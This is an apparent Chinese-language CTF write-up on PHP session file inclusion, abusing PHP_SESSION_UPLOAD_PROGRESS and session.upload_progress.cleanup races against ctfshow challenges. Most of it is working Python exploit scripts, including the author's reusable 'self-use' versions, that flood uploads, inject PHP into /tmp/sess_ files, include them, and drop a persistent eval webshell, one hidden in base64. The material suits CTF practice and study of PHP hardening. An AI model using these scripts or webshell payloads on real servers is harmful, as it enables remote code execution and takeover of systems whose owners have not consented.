session包含
  # session包含
参考:
# session介绍
简单的理解,session是一个记录用户行为会话的信息,在php中默认是不会生成session的,但是允许用户自定义session
session会记录什么呢

提示
在服务器上存储用户信息以便随后使用(比如用户名称、购买商品,文件上传等)。然而,会话信息是临时的,这些session信息一般储存在/tmp/sess_sessionid文件中,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。
其他可能储存的位置,主要在/tmp/目录下
- /tmp/
 - /tmp/sessions/
 - /var/lib/php/
 - /var/lib/php/sessions/
 
# 步入正题
它的正经用途介绍结束了,下面讲讲恶趣味
引用开头大佬文章内容

关键点:
- session文件默认用户可以自定义
 - 文件上传时默认生成session,记录详细信息和跟踪上传进度
 - session.upload_progress.cleanup配置项默认打开,伪造的文件上传后,会清空session
 
注意
通过伪造文件上传这一过程,让服务器生成session文件,session文件里会储存一些文件信息,例如文件名,文件内容,session保存位置等信息的序列化格式,在这里,文件内容是可以伪造的,文件内容就是PHP_SESSION_UPLOAD_PROGRESS上传进度的值。因为用户可以自定义session,所以上传进度变成可控的了,在下面的脚本中也会体现出来。
# QA

这里提到两个重点
session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”
默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,利用竞争在session文件内容清空前进行包含利用
# 测试
题目地址ctfshow easy_include (opens new window)
<?php
function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
    include "file://".$_POST[1];
}
 2
3
4
5
6
7
8
9
10
通过伪造”文件上传“创建session脚本
import requests
# 如果题目链接是https,换成http
# url="https://642a817d-1d1a-4f22-aded-f796560bdd17.challenge.ctf.show/"
url="http://642a817d-1d1a-4f22-aded-f796560bdd17.challenge.ctf.show/"
sessionid = 'ctfshow'
data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php phpinfo();?>',
    '1': 'localhost/tmp/sess_'+sessionid,
    }
 
file = {
    'file': sessionid
}
cookies = {
    'PHPSESSID': sessionid
}
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
 2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
可以把session内容换成以下内容,生成一个新的木马文件
<?php
file_put_contents("1.php","<?php eval(\$_POST[1]);?>");
?>
 2
3
现在可以通过post传参传入1=localhost/tmp/sess_ctfshow包含这个session文件

讲到现在有什么疑惑吗。?
它的session文件没有被清除?
注意
session.upload_progress.cleanup = on //表示当文件上传结束后,php将会立即清空对应session文件中的内容
这个脚本并没有条件竞争功能,它的session文件在伪造的文件上传后,没有并被清空
提示
session文件是有生命周期的,一般是24分钟,但是他只是会过期,并不会删除,这么说可以一直利用?
这一题比较特殊,通过后期getshell查看phpinfo()函数时可以看到配置项session.upload_progress.cleanup是关的,应该是群主改了,好大的雷,趁热打铁复现时卡死我了,才去了解这个配置项

# 条件竞争
# post表单类型
<?php
error_reporting(0);
highlight_file(__FILE__);
include$_POST[1];
 2
3
4
提示
session.upload_progress.cleanup=On # 一般都是开启的,文件上传后会清空session文件,清空后你再包含就达不到目的了
通过条件竞争,在session文件没有被清空时包含并执行,直接食用或者生成小马都行
import requests
import threading
import time
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
sessionid = 'ctfshow'
data = {
    # session文件内容
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>',
    # session文件路径可能不同
    '1': '/tmp/sess_' + sessionid,
}
file = {
    'file': sessionid
}
cookies = {
    'PHPSESSID': sessionid
}
# 上传文件函数
def upload_file():
    while True:
        response = requests.post(url, data=data, files=file, cookies=cookies)
        time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间
# 检查文件是否已创建
def check_file():
    while True:
        r = requests.get(url + 'shell.php')
        if r.status_code == 200:
            print('Webshell created successfully')
            print(r.text)
            break
        else:
            print('error:', r.status_code)
        # time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间
# 创建并启动线程
threads = []
for _ in range(5):  # 创建5个上传线程
    t = threading.Thread(target=upload_file)
    t.start()
    threads.append(t)
for _ in range(5):  # 创建5个检查线程
    t = threading.Thread(target=check_file)
    t.start()
    threads.append(t)
# 等待所有线程完成
for t in threads:
    t.join()
 2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# get表单类型
对post类型稍加修改
<?php
error_reporting(0);
highlight_file(__FILE__);
include$_GET[1];
 2
3
4
条件竞争脚本
import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
sessionid = 'ctfshow'
def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
        files={'file':('1.jpg',fileBytes)}
        )
def read(session):
    while True:
        session.get(url + '?1=/tmp/sess_' + sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ''
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()
evnet.set()
 2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
最后好奇的查看/tmp目录下的文件,看到一些奇怪的php开头的文件名,里面内容是ctfshow

根据开头这张图就可以解释这些文件名是什么了,session文件包含进来时,显示一个序列化的数组数据,这些php开头的文件是临时文件名

# 关于报错
强烈建议打印关键信息调试
# 长时间未写入
提示
检查脚本中参数是否服务题目要求
# 常见错误码
- 404:shell未写入,耐心等
 - 500:shell写入了,但是存在语法错误。查看修改过程是否删掉了关键部分
 - 200:成功写入
 
状态码500的补救措施
修改脚本中的sessionid,shell文件名,接着跑。创建一个新的shell
# 自用脚本优化
添加了ctrl c终止多线程
# post表单类型
import requests
import threading
import signal
# -------------------------------------必要参数填写-----------------------------------------------
url = 'https://24658c7c-9f40-4829-8cee-7606eac1ba08.challenge.ctf.show/'
# post参数名(文件包含点)
post_param = '1'
# -------------------------------------临时文件上传-----------------------------------------------
sessionid = 'ctfshow'
session_path = '/tmp/sess_' + sessionid
webshell_name = 'shell.php'
url = url.replace("https", "http")
if not url.endswith('/'):
    url += '/'
# 监控ctrl c
stop_event = threading.Event()
data = {
    # 包含临时session文件,生成稳定webshell
    'PHP_SESSION_UPLOAD_PROGRESS': f'<?php $a=base64_decode("PD9waHAgaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pO2V2YWwoJF9QT1NUWzFdKTs=");file_put_contents("{webshell_name}",$a);?>',
}
file = {'file': sessionid}
cookies = {'PHPSESSID': sessionid}
# 上传文件函数
def upload_file():
    while not stop_event.is_set():
        requests.post(url, data=data, files=file, cookies=cookies)
# 检查文件是否已创建
def check_file():
    while not stop_event.is_set():
        data = {post_param: session_path}
        requests.post(url,data=data)
        r = requests.get(url + webshell_name)
        if r.status_code == 200 and 'eval' in r.text:
            print('Webshell created successfully')
            print(r.text)
            stop_event.set()
            break
        else:
            print('error:', r.status_code)
# Ctrl+C 捕获处理
def signal_handler(sig, frame):
    print("\nCtrl+C 捕获,正在退出...")
    stop_event.set()
signal.signal(signal.SIGINT, signal_handler)
# 启动线程
threads = []
for _ in range(5):
    t = threading.Thread(target=upload_file)
    t.start()
    threads.append(t)
for _ in range(5):
    t = threading.Thread(target=check_file)
    t.start()
    threads.append(t)
for t in threads:
    t.join()
 2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# get表单类型
import requests
import threading
import signal
# -------------------------------------必要参数填写-----------------------------------------------
url = 'https://8b407aca-4050-4e88-bee7-f01e3078944f.challenge.ctf.show/'
# get参数名(文件包含点)
get_param = 'path'
# -------------------------------------临时文件上传-----------------------------------------------
sessionid = 'ctfshow'
session_path = '/tmp/sess_' + sessionid
webshell_name = 'shell.php'
url = url.replace("https", "http")
if not url.endswith('/'):
    url += '/'
# 监控ctrl c
stop_event = threading.Event()
data = {
    # 包含临时session文件,生成稳定webshell
    'PHP_SESSION_UPLOAD_PROGRESS': f'<?php $a=base64_decode("PD9waHAgaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pO2V2YWwoJF9QT1NUWzFdKTs=");file_put_contents("{webshell_name}",$a);?>',
}
file = {'file': sessionid}
cookies = {'PHPSESSID': sessionid}
# 上传文件函数
def upload_file():
    while not stop_event.is_set():
        requests.post(url, data=data, files=file, cookies=cookies)
# 检查文件是否已创建
def check_file():
    while not stop_event.is_set():
        # session文件路径可能不同
        tmp_url = f"{url}?{get_param}={session_path}"
        # print('尝试访问:', tmp_url)
        requests.get(tmp_url)
        r = requests.get(url + webshell_name)
        if r.status_code == 200 and 'eval' in r.text:
            print('Webshell created successfully')
            print(r.text)
            stop_event.set()
            break
        else:
            print('error:', r.status_code)
# Ctrl+C 捕获处理
def signal_handler(sig, frame):
    print("\nCtrl+C 捕获,正在退出...")
    stop_event.set()
signal.signal(signal.SIGINT, signal_handler)
# 启动线程
threads = []
for _ in range(5):
    t = threading.Thread(target=upload_file)
    t.start()
    threads.append(t)
for _ in range(5):
    t = threading.Thread(target=check_file)
    t.start()
    threads.append(t)
for t in threads:
    t.join()
 2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66